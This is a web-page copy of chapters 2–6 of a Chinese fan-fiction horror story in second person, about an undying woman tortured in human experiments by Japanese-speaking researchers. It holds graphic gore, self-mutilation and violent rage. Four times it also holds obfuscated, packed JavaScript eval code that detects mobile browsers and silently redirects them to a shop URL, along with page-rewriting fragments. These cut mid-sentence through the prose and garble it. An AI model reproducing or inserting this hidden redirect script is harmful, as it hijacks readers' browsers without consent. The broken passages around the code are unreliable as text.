《彭格列的珍宝》 2. 第 2 章 狗屎狗屎狗屎狗屎狗屎狗屎 贱人贱人贱人贱人贱人贱人 什么垃圾的祝福语,根本就是恶心的诅咒。 你恨恨看着四面发白的墙,被换上宽松的实验服,你使劲拉扯着手腕脚腕上的锁链。你开始焦躁,指甲被你咬得破破烂烂,凹凸不平的烂指甲把你光洁滑腻的肌肤划得血肉模糊,但锁链依旧好好待在原地。 该死的,这东西为什么还在,为什么为什么为什么!去死去死去死—— “01また言うこと聞かない。” 尖锐的爆鸣声刺的你头晕恶心,像烧开的开水壶发出声的刺耳尖叫,又像锐利的指甲划过黑板的鬼叫声,你痛苦地在地上打滚。 好难受好难受好难受 骗子骗子骗子骗子 贱人贱人贱人贱人 你想把你的大脑破开,就像你曾经用刀狠狠捅进薄脆的西瓜里,“噗滋”,脑花和血沫痛快流出,连带着大脑产生的恶心眩晕感一同消失。 咚咚咚 …… 砰砰砰 …… 噗噗噗 红色刺痛了你的眼睛,有什么东西渗进了干净白洁的地板。你摸着晕乎乎的大脑,有人把你搬运起来,你像条缺水的死鱼,身体不听使唤,只有眼珠还属于你。 你直勾勾盯着地板。 终于,你反应过来了,那是你的血啊。 “くそっ、彼女は自分を傷つけた。” 模糊的视线里,白色怪物在你身边穿来穿去,他们拿着可怕恶心的污染物,企图把你也同化成怪物。 黏糊糊的液体装进细长透明的容器,白色怪物嘴里叽里呱啦说着你听不懂的话,刺耳的声音像在锯木头,你恨不得掏出怪物们黏腻恶心的喉管,然后竭尽全力碾碎他们所有。 “何を恐れているのか、どうせ次の日には元に戻るだろう。” 这是你被抓走的第三天,闭上眼睛,这三天里,你终于懂得了■■赐予你的是什么扭曲的东西。 “これは素晴らしい実験体に違いありません。神よ、あの人たちはいったいどこからこんなに完璧な造形物を探してきたのでしょうか。” 降临到这个世界的第一天,因为蛊惑人心的美貌,你被抓走了。 绝对的健康代表着无论今天你受到了何种伤害,第二天你会再次恢复健康,那些伤痕痛苦都不复存在。 你如愿以偿失去了感知痛苦的能力,但你的心还没有。你的□□得到解脱,可你的心脏依旧会痛苦。那是来自深渊里的压抑精神,你被束缚在完美的□□里,可你的精神却像一朵腐烂糜艳枯萎的花,它一天天的发烂发臭。 好吃好喝养了你三天的研究人员摸清了你的身体状况,他们皱眉看着不听话的你,研究人员对视一眼。 “体の持ち主も自分のことを気にしていない以上、私たちも余計なことをする必要はありません。” “新しい実験が始まる。” 你听着白色怪物叽里呱啦,你还是听不懂他们的话,躺在床上,你看着从床板探出的牛皮弹带禁锢住你的四肢,强烈的不安笼罩着你。 “该死的,你们要干什么?!!你们这是非法拘禁!!警察呢,为什么没有警察!!” “该死该死该死,你们到底是谁?混蛋一群混蛋都是混蛋,放开我!!” “杀了你杀了你,我要杀了你们啊啊啊啊!” 高村听你不间断地说话,他好奇道:“彼女は何を言っているのですか?” “わからないけど、感情を発散しているのでしょう。知ってるでしょ?ここに来る人は最初は協力的じゃないんだ。” 深井没什么感情地回答,准备好简单实验要用的东西,他戴好橡胶手套,视线在你脸上停留了好一会儿,沉默着,他移开了视线。 “彼女の美しさは本当に驚くべきですね。もうしょうがないほどに心を動かされる哈哈哈。” 吉川嘻嘻笑着,小刀拍了拍你漂亮的脸蛋,见你朝他吐了口水,他也不在意,反而变态地伸出舌头舔了舔,“美味しいですね。” “くそったれ、目つきの興奮を抑えてくれ。” 高村羡慕地看你朝吉川吐口水,他想,怎么这种殊荣不是他享受呢。 “んふふふふ、失礼、あまりに興奮してた。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257646|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳、まずは耐痛力テスト。” 吉川压抑着兴奋,他变态地盯着你。 实验开始。 “ナイフテスト、うん、反応なしね。電気ショックテスト……正常な反応が出てる……彼女の体は本当に健康だね。切り傷テスト……神経が痙攣して、額に汗がでているけど、まだ話せる力がある……痛みを感じない可能性……テストを続ける。” 吉川一边做着实验,一边复述实验结果,高村在旁边认真记载数据,深井辅助。 “01は痛みを感じない、ちょっと面倒だ。” “他の感覚を試してみよう、脱水テスト……骨抜き……窒息……テスト結果、他の身体症状は普通。” 研究人员疯狂摆弄着你的身体,你感觉自己身在地狱。 失去痛觉,你麻木看着自己的身体被切割被电击,你在颤抖,身体疯狂向你预警,但你却无法接收到信号。 视觉造成的冲击并不比痛觉来的少,你又想起了恶心垃圾永生永世不得解脱的合租人。 你没什么感觉地看着白色怪物切开你的皮肤,鲜红的血流了出来,白色怪物丝毫不在意,一层一层的血肉在你眼前绽开,森白的骨头隐隐显现在其中,你的内心泛上一股惊慌作呕感。 脑袋开始发晕,你始终不愿闭上眼睛,强制自己瞪大眼睛,充血的眼珠透着诡谲血腥的美感,你死死盯着怪物们的动作,你看着他们在你身上注射穿插切割,你终于明白他们在做什么。 这帮怪物,他们不是单纯地在折磨你,而是在你身上做实验!!! “你们居然做人体实验!!该死该死去死去死去死!!杀了你,我要杀了你啊啊杀了你啊——” “用量を増やす。” 你昏过去了。 这场漫无止境的折磨持续了整整一天,第二天,醒来后的你看着自己恢复如新的健康身体,你攥紧拳头,嘴里发出古怪的笑声,你疯笑着诅咒他们诅咒世界诅咒你自己诅咒帮你带来新世界的■■。 不会放过他们,你绝对不会放过那群白色怪物!! 这里的所有人都是加害者,你死也要带着他们下地狱—— 3. 第 3 章 第二天,你的身体恢复全新。 你从床上爬起来,密不透风的空白房间内并没有人守着。 他们绝对是看你没有攻击性,他们在看轻你!哈哈哈哈看轻你,你要谢谢他们看轻你,去死去死去死——你要让白色怪物为他们的所作所为付出代价!! 转动僵硬的眼珠,你看到了他们放在屋内的一些器材,锁链限制了你的行动,恰好让你无法触碰到桌上的刀。 刀,你要拿到刀!!你要拿到刀——!! 像条濒临渴死的鱼,你疯狂又固执地朝着刀的方向移动。手腕和锁链不停拉扯,坚硬的金属疯狂摩擦着你脆弱的皮肤,你感知不到痛觉,一心扑在刀身上的你自然也没有看到你逐渐变得血肉模糊的手腕。 没有温度的金属链条死死纠缠着你,胳膊和身体的连接处传来一阵一阵的脆响声,你听到了声音。 胳膊,你的胳膊要断了。 你扭头恨恨盯着那条拴狗一样的恶心链条,你试过用牙咬,可直到口腔内传来难吃的铁锈味,牙齿都碎落在嘴巴里,你也没能破坏掉这条锁链。 你也硬生生掰断过手腕,但刚解脱出来,屋内就响起了刺耳的警报声……你被换上了一条新锁链。 怎么办怎么办怎么办怎么办该怎么办到底该怎么办—— 你神经质地咬着指甲,嘴里发出疯疯癫癫不明意味的呓语,忽然,你看到白色地砖上的倒影,苍白的手指覆上自己的脸,你的眼里流露出亮到吓人的光彩。 ——你知道该怎么做了。 进入你屋子的研究人员来来往往,你像个阴暗发霉的蘑菇蹲在角落里一声不吭,任由他们包扎你的伤口,你看到白色怪物脸上的疼惜、不忍和兴奋。 你听不懂他们的话,但从语调里,你大概也能猜出他们在心疼你的伤口。 不,或许还有激动。 恶心恶心恶心恶心恶心恶心恶心恶心去死去死去死去死去死去死去死—— 忍耐着内心疯狂的躁动和想要杀人的欲望,你仔细挑选。 太恶心的不要,太丑的不要,太兴奋的不要…… 最终,你把目光敲定在一位普普通通的老实研究人员身上。你无所谓他是否真的老实,你准备先拿他试试水。 你第一次情绪平稳地开口。 被你叫到的时候,高村迟疑地指了指自己,确认你真的是叫他后,注意到你渐渐不耐烦的表情,迎着其他研究人员羡慕嫉妒恨的表情,高村克制不住内心的欣喜跑上前。 “何か必要なものはありますか。こんなに穏やかな気持ちになったのは初めてですね、あ、もう少しで忘れるところだった、あなたは私の言うことが分からないはずです。” 老实怪物蹲下身叽里呱啦说了一堆,他眼里的痴迷充溢地快要满出来,像黏腻湿厚的肥虫,企图用爆浆的恶心脓汁污染你裸露在外的每一块皮肤。 恶心恶心恶心好恶心好恶心!该死的不要用那么恶心的眼珠子对着我!!! 扣掉你要扣掉把眼珠戳爆去死去死去死—— 你疯了一样伸手去戳他的眼珠,尖锐的指甲狠狠划破他的眼角,干净的指甲缝里瞬间流动着怪物肮脏的鲜血。 该死的臭虫!阴沟里见不得光的死老鼠!下水道里发烂发臭的恶心臭藻! 去死去死去死去死去死去死去死去死! 该死该死,一想到你要为了这种怪物压抑自己卑躬屈膝俯首求饶,你就恨不得世界毁灭。 “01は異常に興奮している、鎮静剤を、01を落ち着かせるために。” 你控制不住地抢夺他们手上的针筒刀刃,你歇斯底里:“给我!杀了你我要杀了你们——去死去死去死!!” “ああ、なんて素晴らしい光景だ、彼女は本当に美しい。” 研究人员痴迷地看你像恶鬼一样疯狂挣扎,尤其是你被注射了镇定药剂后,你神情温和地软瘫在床上,浓密的发丝凌乱又柔顺地扑散在床上,像密密麻麻的蛛网,牢牢缠住他们的视线。 多日来的实验并没有让你枯萎,相反,你愈发美丽了。 研究人员深深凝视着你的黑发,眼底痴迷更甚,他想,他大约在注视命运的深渊。 你掀起眼皮,灰蓝色的眼眸无机质看向他们,注射过镇定剂后,你的大脑雾蒙蒙一片。僵硬地转动眼珠,你感知着你无力的四肢,一只只手触摸上你,然后又刺开你的皮肉,你感觉你要疯了。 研究人员一边实验一边清洗你的双手。 真该死,怎么里面流下的血液不是他们的。高村这家伙可真是幸运。想到高村,有研究人员礼节性地抬头看了他一眼,“高村、大丈夫かい?” 高村弯腰颤抖着,他一下一下摸着你赐予他的伤口,呼吸急促,刚刚那一瞬,他甚至在想,你真该扣下他的眼珠,然后吃下去赫赫哈,这样他就永远和你在一起了哼赫赫赫赫哼哈哈哈。 努力平复着心底的激动,高村病态地摸着自己眼角的裂痕,他语气平静没有丝毫波澜,但眼里的光却亮的吓人,“平気だ、ただ残念ながら01の爪に血がついてるけど、それは私の血だ。” “01が次に私を呼んでくれればいいのに、彼女はさっきあなたと穏やかに話してたわ、ちっ、どうして私じゃいられないの?” 研究人员不爽又嫉妒,没有控制手下的力道,他满足地看你止不住的颤抖,研究人员痴迷地伸出厚重湿润的舌头,舔了舔干涩的嘴巴,他拿起长长的针筒。不怕痛没有关系,他们可是研究人员啊哈哈哈哈哈。 你是上天赐予他们的最佳实验体啊,他们怎么忍心彻底弄坏你呢哈哈哈哈哈哈哈,这一切都是为了科学!!为了科学!!我们所做的一切都是正义的哈哈哈哈哈哈!!!我们创造了历史!!!! 深井沉默看着这一切,他安静注视着你,手上不断递着工具,深井怜悯地感叹,“……彼女はここにいるべきではない。” 研究人员嘲笑似扫了眼虚伪的深井,“馬鹿を言ってんじゃない、彼女がそうしているのは私たちのものだ。” 深井再次沉默,半晌,他才不紧不慢地开口,“早く01がいい子になることを願っていますが、そう言えば、あちらの実験もそろそろ始まるでしょう。” 研究人员A:“選別の後、生き残った子供は数人だけで、その中には特に従順な子がいて、私は彼に期待しています。” 研究人员B:“このグループで成功する子が一人でもいればいいな、さもなくばまた最初から始め直すことになるし、面倒くさい。” 研究人员A:“しょうがない、その目玉は強力すぎて、異物反応があるのは当然だ。” 白色怪物在你耳边说着话,这一次,你没有昏迷,不知道他们使了什么方法,你的大脑皮层异常活跃,灰蓝色的眼睛扫过每一个人的脸,你安静了好久好久,直到日常的实验完成,你终于舍得眨一眨干涩的眼睛。 白色怪物一个一个走出了这里,布满血丝的眼球里倒映着最后一个人的身影,你起身跌跌撞撞地奔向他。 你需要武器。 刀也好枪也好,你必须搞到武器。 你要他们下地狱!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257647|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你抓住了他的手,指甲掐进他的掌心,有血渗了出来,你完全不在意。 “让我出去。” 深井一开始就注意到了你的举动。 你又要发疯了,深井想,但是你发疯的样子也很美,他喜欢。 不过这一次他猜错了,深井看着你跌跌撞撞跑向他,灰蓝色的湖泊里完全倒映着他的身影,就好像他是你的全世界,心脏不受控制地跳动,深井看到你牵住了他的手。 他才是你第一个愿意主动接触的人,深井感到了一股奇异的满足感,就着滑腻的血液,他牵住了你,深井异常温柔,“これは私に好意を示しているのですか?” 忍受着怪物恶心黏腻的目光和肢体接触,你拉着他来到那扇禁锢的门,你直截了当表明自己的想法,难以掩饰的厌恶透出一丝,你的指甲嵌的越发得深,“我要出去。” 疼痛与甜蜜并行,深井领会了你的意思。来到这里的人总是天真地以为自己还能重现光明……真是可怜啊,他近乎悲悯地咏叹。 不过,如果你想的话,他可以带着你出去看看。 深井打开了门,他看你像自由的蝴蝶扑向外边,深井嘴角笑意加深。 总该让笼子里的鸟知道她无法离开笼子。 — 你绝不会就这样简单离开这里,走之前,你绝对要把这里所有的一切通通毁灭掉,无论是恶心的怪物还是该死的实验!! 头顶灯火通明,转角都是监控设备,恶心的怪物跟在你身后,你烦躁地咬着指甲,你恨你这具缩水的身体,你恨把你丢到这里的贱人,什么神明,就是贱人贱人贱人,该死该死该死都该死,他们都该死! 忽然,你看到前方推着一堆仪器的白色怪物,通过他们谨慎小心的姿势,你知道他们在保护那些仪器,你当机立断朝他们冲了过去。 “くそ、気をつけ!” “あああ倒れた倒れた、どいつもこで関係ない人間を放ち出したの!!” “終わった終わった、彼は私たちを殺すに決まってる!深井、君が引き起こした問題は自分で解決しろ!!” 你不要命地跑上前,外边来往的研究人员并不多,沉醉在你蛊惑人心的美貌里,一时之间竟没人反应过来,直到你撞到了那些重要的工具仪器—— 尖叫恐慌谩骂响彻整个空间,你压抑着快要从喉咙□□出来的疯癫笑声,眼疾手快超起尖锐的刀,你疯了一样把地上的瓶瓶罐罐砸向怪物们。 流血了,哈哈哈哈哈,怪物终于也像你一样流血了哈哈哈哈哈哈。 再也压抑不住,你疯笑得停不下来,有怪物想要来抓你,你持刀狠狠砍向他们。你一点也不在意你自己,在你大力的动作下,身体的缝合线开始崩开,血流了一地,大量喷射的血液染红了你的白色实验服,你丝毫感受不到痛楚,你感觉你现在已经变成了一个怪物。 研究人员尖叫怒吼愤怒惊恐慌乱,每一个人都被你刺伤。 去去去去去去死啊啊啊啊啊啊啊都去死死死死死死死 杀了你杀了你杀了你杀了你说了杀了你杀了杀了你杀了你 哈哈哈哈哈哈哈哈哈哈哈不会放过你们不会不会不会都去死死死死 看着流了一地的污血和红肉,你的心里升起一股诡异的满足感,你的大脑开始眩晕,你看着倒了一地研究人员,你咯咯咯咯咯咯咯笑着,拿着刀,你踩在血沫里,红色的脚印像踩不掉的泥泞,你一步一步踩在洁白的地砖,你的意识开始模糊,凭借强大的意志力,你推开了一扇门。 意识消弭的最后,你好像落入了谁的怀抱。 4. 第 4 章 艾斯托拉涅欧家族的实验地盘来了位特殊的新人,那群自诩为正义的研究人员从那一天起开始有了微弱的变化。 研究人员来来往往,沉默听着研究人员日益对你的痴迷呓语,六道骸单调地眨着眼睛,没人知道他在想什么,直到,他听到了门外那群研究人员的惨叫声。红到刺眼的血液从门缝外渗出,六道骸脸上的表情终于出现了细微的变化。 实验屋的大门有时为了研究人员更加方便进出,并不会锁上。况且,即便门大开,没有自保能力的实验体也不敢随意逃出。 ——那绝对是惨烈的后果。 尽管经历着惨绝人寰的实验,活下来的幸运儿依旧不想死。活着,是人类最本能的欲望,比起死,他们更想活,仇恨痛苦充斥着他们的心灵,尤其绝大多数孩子都是被家族主动送上实验台。 信任与爱意崩塌,而后化为最纯粹浓烈的恨意。 谁都该死,只有活下来的他们不该死。 六道骸从床上跳了下来,怀着莫名的心思,他打开了那扇门。 ——他接住你了。 ……你没死。 哈哈哈哈该死的你还活着,你清醒又疯狂,生涩的眼球前透着诡谲的红,你没有管你残破怪异的身体,眼球转动,你发现这里和你最开始呆的地方不是同一个。头顶刺眼的白光像铺在地上的脑浆,你想起了你昏迷前做的事情,坐在病床,你忍不住痴痴笑出声。 不够不够不够不够不够不够不够 …… 还不够还不够还不够还不够还不够 …… …… 你痛苦地尖叫,心底的恨意像是宇宙里吞噬万物的黑洞,无法被填满无法被消除,该死该死该死该死该死该死该死该死该死,活着活着他们还活着还活着—— 你闻到了他们恶心作呕的呼吸,浓重的呼吸声像臭水沟里最下贱的呕吐物,只要接触到,你上辈子吃的饭都能被yue得吐出来。 你又开始神经质地咬着指甲,好烦好烦好烦好烦好烦,你忽然低头,看着自己干净整洁的手指,你怀疑刚刚经历的那一切只是你疯掉的幻想。 “お元気ですか?” 该死的,尸体又在说话了。 你恨恨扭头看过去,同时在心里极尽一切恶毒的话语诅咒他。 ……你看到了一个小孩子。 诅咒错了,脑子里简单闪过这个想法,你毫无负罪感地继续换个人诅咒。 你盯着他身上白色的实验服,你意识到这也是和你一样倒霉的孩子,他在对你笑,玻璃般的眼珠像是杂糅了无数丑陋恶心的黑水,暗淡得失去光泽。明明自己还在深渊疯狂挣扎沉沦,可在看到和他一样的实验体后,他还是表达了他微弱的善意。 ——因为你看到了,团团浓重黑雾笼罩下,他心底最后一丝的灰白色。 丑死了丑死了丑死了丑死了丑死了丑死了笑得丑死了丑死了丑死了 你伸手用力扯着他的嘴巴,像揉面团一样反复揉捏,看到对方失去笑容后,你的心情莫名好了些,你终于提起心情打量陌生的环境。 这里还有几个和他一样的孩子。 小小的孩子,恨意不断在他们小小的身体里发芽生长,你的心里忽然升起一股浓重的悲哀。 你来自一个平和安稳的国家,生活在健全秩序下,你见过最劣性的事件也不过是自己被分尸,而人体实验这种丧心病狂的行为是绝对被禁止的反人类实验…… 越是接触,越是了解,你越是恨。 你跌跌撞撞地从床上爬起来,实验服快要变成黑色,你掀开衣服,里面掉出来的肠子器官不知道被谁塞了回去,裂开的伤口还在不断流血。 为什么为什么为什么凭什么凭什么凭什么你要遭遇这一切 杀了他们杀了他们你绝对要杀了他们该死的该死的该死他们都该死 不会放过他们你绝对不会放过他们就像你不会原谅当初的合租人,现在你也不会原谅他们—— “傷を縫合する道具はここにはありません?”六道骸原谅了你的无礼行为,他望着你昳丽非人的容貌,六道骸忽然明白了这段时间研究人员的异常,“あなたの名前は何ですか。” 小凤梨头叽里呱啦跟你说着一堆话,你听不懂也不想听,心中莫名的紧迫感催促着你快做些什么,你不知道那些白色怪物什么时候会来把你抓走,你得有锋利的武器,无论什么都好。 哪怕刺伤一个,你也爽了。 但是这里什么都没有,唯一的武器还是你刚刚藏起来的刀。你一直不理人,小凤梨也不说话了,他静静看着你动作,临走前,你揪了把他的凤梨叶子。 六道骸:…… 你打开了大家都不敢踏出的那扇门,外面躺地的研究人员都不见了,你踩着满地的血色,你摇摇晃晃走出了门。 除了实验体的门,其他的门都需要指纹解锁,你没有办法开门获得你想要的东西。忽然,拐弯口处出现了一个白色怪物。 你应该学会忍耐,你神经质地咬着手指,锋利的牙齿刺穿脆弱的皮肉,你啃到了骨头,你要忍耐,你控制不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257648|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地颤抖着。 这个人的服装和其他白色怪物的都不一样,你尝试思考,努力克制自己时不时想要发疯的大脑,你错漏百出地跌倒在地。 手指深深抓着光滑的地面,你藏不住眼底的森森恶意,你朝他露出一个扭曲阴暗的笑容。 ……该死的该死的该死的他过来了 哈哈哈哈他过来了他过来了他过来了—— “この美しい女の子、私の助けが必要だと思います。” 温和有礼的表面像是抹了层劣质老鼠油的假皮,腥臭溃烂的气息从他口腔里源源不断的漫出,你快要窒息在他黏腻恶意的视线里,你颤抖得更厉害了。 “ こんにちは、大丈夫です、私は悪い人ではありません。”他抓住了你的手,你清楚看到,他嘴角的弧度在不断扩大,像恐怖片里狂热追求血腥和杀戮的小丑,衣冠楚楚地披上人皮,就真以为自己是个人了。 恶心恶心恶心恶心恶心恶心恶心 杀了你杀了你我要杀了你该死的 死死死死死该死的是你是你你你你 他把你克制杀人欲望的颤抖看成是害怕,盯着你的漂亮脸蛋看了会,花村认出了你。 “ああ、わかりました。あなたが01さんだと。確かに、あなたは特別ですね。” 花村怜惜地抱起你,语气依旧温和,“あのばかたち、どうしてこんなことになっちゃったの?君の魅力が何なのか全然わからない。” 你听不懂他的话,你发现这样不行,你需要尽快学会他们的语言,你猜测这个怪物的等级要比那些白色怪物高一些,你克制着扭曲的颤抖,神经质地咬着指甲,你无意识摸上自己的脸。 你应该做些什么,你抑制不住内心的破坏欲和杀人欲望,嘴角病态地裂开,你神经质地笑了起来,你绝对能做些什么。 花村没有理会你古怪的状态,“ふん、もともと君を探しに行くつもりだったんだけど、君が勝手にやって来てくれた。” 怪物总喜欢自言自语,你听着他的话,记下路线,你看到他打开了指纹的门。 “君を壊すのは不可能だ、とにかくこれからは私についてこい。大事な道具を失って、実験の進捗が大きく遅れるところだったけど、今度は君がその遅れを埋め合わせる番だ。” 花村笑了下,他动作轻缓地把你放在床上,“自分に幸運を祈れ、可哀相な女の子。” 漂亮的大眼睛盯着他,你也笑了。 ——为你自己祈福吧,该死的贱人! 5. 第 5 章 来往的白色怪物换了一批,你被束缚在病床,四面白色的墙体像空洞幽冷的棺材,你僵硬转动脖子,黏腻恶心的液体注入你的身体,你丧失了身体的控制权。 该死该死该死,你现在和一具尸体有什么区别?! “ さあ、可愛いお嬢さん、始めますよ。” 花村完全没有藏起你眼睛的想法,他饶有兴趣地抬起你的下巴,你漂亮的灰蓝色眸子迸发出浓烈惊人的恨意,花村忽然就明白了那群人为什么唯独对你另眼相待。 多么美妙的视线啊,再更多、更多地注视我吧。 你试图挣扎,恶心的白色怪物不知道用了什么方法,你无法控制自己身体的肌肉,你只能像块待宰的的肥肉,被迫留在肮脏的刀砧板。 “该死的垃圾,贱人,臭虫!”你的身体动不了,但你的嘴巴还能说话,恶毒的视线像是淬了毒,你阴暗疯狂输出,“杀了你杀了你,我绝对要杀了你——” 花村从你的蛊惑人心的美貌中回神,他挑眉,“ しゃべる気力もある、頑固な生命力です。痛覚がないのは残念ですね。” 花村不无遗憾地想,如果你能感知到疼痛,他都不敢想象那该会是一副多么美妙动人的画面。 那双会骂人的、带着浓烈恨意的眼里,痛苦与绝望崩溃交织,身体被改造成他们喜欢想要的样子,除了你苍白的生命,你的所有都是属于他们的。 裹着特殊手套的冰凉手指轻轻划过你完美的面容,花村漫不经心笑道:“ もっと私にあなたの憎しみを示してくれ。” 白色怪物又开始实验了,你要怎么做,你要怎么做才能毁了他们。讨好屈膝卑躬?不不不,你做不到,该死该死该死,只要一想到你要因为这群怪物委屈自己,你就恨不得世界现在爆炸。 凭什么,你要委曲求全,凭什么,死掉实验的不是他们,凭什么凭什么凭什么凭什么凭什么……怪物根本就不配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257649|151611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那群贱人贱人贱人!! ……你好恨。 眼珠一动不动,你被放置在新的液体容器里,对着半透明的容器壁,你看到了自己清晰的脸。 黑色如同海藻般浓密幽黑的长发几乎铺满整个容器,灰蓝色的眼睛泛着无机质的幽光,恨意扭曲着你精致苍白的面容,柔软的唇覆上艳丽诡谲的红,宛若鲜红的血晕染开,惊心动魄又让人无法自控地、从心底升出无数扭曲晦暗的欲望。 你缓慢眨了眨眼睛。 绝对的美貌超越了人类文明世界的最高概念,■■的意志扭曲了你的所有,包括祂的祝福,你安静看着你的倒影,你终于有力气动了。 苍白的指尖轻轻覆上玻璃,你看到玻璃外覆上一双又一双丑陋的手掌,你痴痴看着怪物们的手填满玻璃外壁,漆黑的玻璃壁,你看到那个怪物露出了扭曲夸张的笑容,你学着她,笑得疯狂病态。 是了,该被讨好的,是你才对。 6.第 6 章 你不需要做什么,你待在那,就是最大的污染源。尽管你并不知道这一点,但从白色怪物日益痴迷诡异的笑容,你大约也知道怪物们的病态。 你清晰感知到白色怪物对你不正常的迷恋。 ——真是令人作呕的垃圾情绪。 “今日の調子はいかがですか?”花村照例和你问好,你情绪平缓地坐在床上,你抬头,怪物脸上挂着黏腻恶心的笑容,你的心情一下变得恶劣。 “今日は新しいことをしてみようね。あなたの体にすごく興味があるんだ。”花村在桌面上摆放好一只大型时钟,目光落在上面的秒数上,他重新把注意力放在你身上。 “安心して、わざと時間を計算して、本当に死ぬことなんてさせないから。” 房间内不知何时摆好了一面镜子,知道你不会听话,花村干脆利落拖拽着你手腕上的锁链强迫让你停在镜子前,看你被拽的一个踉跄,花村痴迷地看你无力跌落在地,浓密的长发如凌乱黏密的蛛丝散在你身上,他的眼里流露出几分愉悦。 “あなたが死んだら、私にはとても困るわ。毕竟、あなたはもう上級研究員よりも優先度が高くなっているのだから。” 花村很喜欢你旺盛的生命力,即便你的身体注射了肌肉松弛剂,但你依旧没有放弃反抗和仇恨,像永远不会被驯服的海蛇,阴暗地呆在深不见底的海底,永远伺机而动,你总在找寻着将你身上剧毒的毒素刺入对你心怀叵测的人体内的机会。 他也许也会在某一天被你毒杀,但花村并不在意,死在你的手上,那绝对是比升天堂更加美妙的事情。 “歪んだ健康、それは不思議な奇跡だ。私はもうあなたに恋に落ちそうだ、完璧な01。” 贱人贱人贱人都是贱人 你恨恨咬着指甲,空洞没有装饰物的房间,你坐在病床上,你控制不住地颤抖,冰冷没有温度的指尖颤抖地碰上光洁如新的脖颈,你不受控制地抓挠脖子。 疯子疯子疯子他就是个疯子!! 该死的疯子为了测试你的健康恢复程度,他竟然丧心病狂对你割喉!!你的大脑绝对不会忘掉怪物对你的所作所为,你无法抑制地回想刀子划破你脖子的触感。 他甚至还拿了面镜子放在你面前,清晰的镜面倒影着你弱小无用的模样,像任人宰割的羔羊,你的血肉被割开,刀具贴着你温热的红色喉管,滚烫腥甜的鲜血争先恐后涌出。 难受难受难受好难受,你呼吸困难,喉咙口好似被什么堵住,你疯狂抓挠着你断裂的喉管,窒息感和腥甜感同时涌入,气管好痒好痒,头也好重,你被迫倒地,你想要大叫怒骂诅咒,但你的喉咙被血液堵住,你连呼吸都困难,何谈说话。 和恐惧不甘痛苦一起涌上来的,是深入骨髓的恨意,你恨这个世界,恨怪物的语言,恨自己弱软无法反抗的瘦弱身躯。 你挣扎抬头,镜面里,脆弱的喉管里源源不断涌上鲜血,灰蓝色的眼里充斥着极端的恨意和痛苦不甘,怪物卡着时间,凌晨十二点,你的身体焕然一新。 你清晰看到你身体的变化,血液停止流转,裂痕缝合,像失去魔法的灰姑娘,你失去了死亡的能力。 你变成了一个怪物,你从未如此深刻意识到自己的扭曲。 你沉默抬头,白色怪物兴奋提笔记录。眼珠僵硬地转动,你迟钝站起,不经意碰倒镜子,哗啦啦的碎片零零碎碎落在地面,切割不均匀的镜片倒影着你每一瓣苍白的脸,你看到碎片里的人咧开嘴角,大大的笑容几乎要划伤嘴巴,你无声大笑着。 踉跄着,你捡起一片最大最不规则的碎镜,你摇摇晃晃走到白色怪物的身后,他发现你了。 白色怪物转身看你,黏腻恶心的视线盯在你脸上,他大概不觉得你有能力伤害他,白色怪物好整以暇地站在那儿,冰冷没有温度的视线像蛇信子,怪物拿出一把枪,他漫不经心对你开了一枪,子弹正中眉心,你死了。 …… 你没有死,你还活着。 回过神,你茫然发现自己跌倒在地,碎镜跌落地面,清脆的声音唤醒了你的神智,你试图去拿碎镜,艰难地伸出手,你忽然发现自己使不上力。你瞬间意识到是刚刚那枚子弹的作用。 你趴在地上艰难蠕动着,你捡到了那片镜子,可白色怪物还不放过你,擦得锃亮的皮鞋踩上你的手背,他在碾压你。你看到了,你的手因为外界压力扭曲,骨头发出清脆的嘎吱嘎吱响声,你用力握紧镜片,锋利的碎镜割伤你的手掌,鲜红的血慢慢沾湿地面,湿漉漉的掌心刺得你心里的恨意愈发浓郁。 “本当に弱そうです。”白色怪物慢条斯理开口,悲悯的目光落到你身上,像被针扎,你的胃里涌上一股反胃感。 作呕恶心的贱人!!! “杀了你,我迟早会杀了你!!” 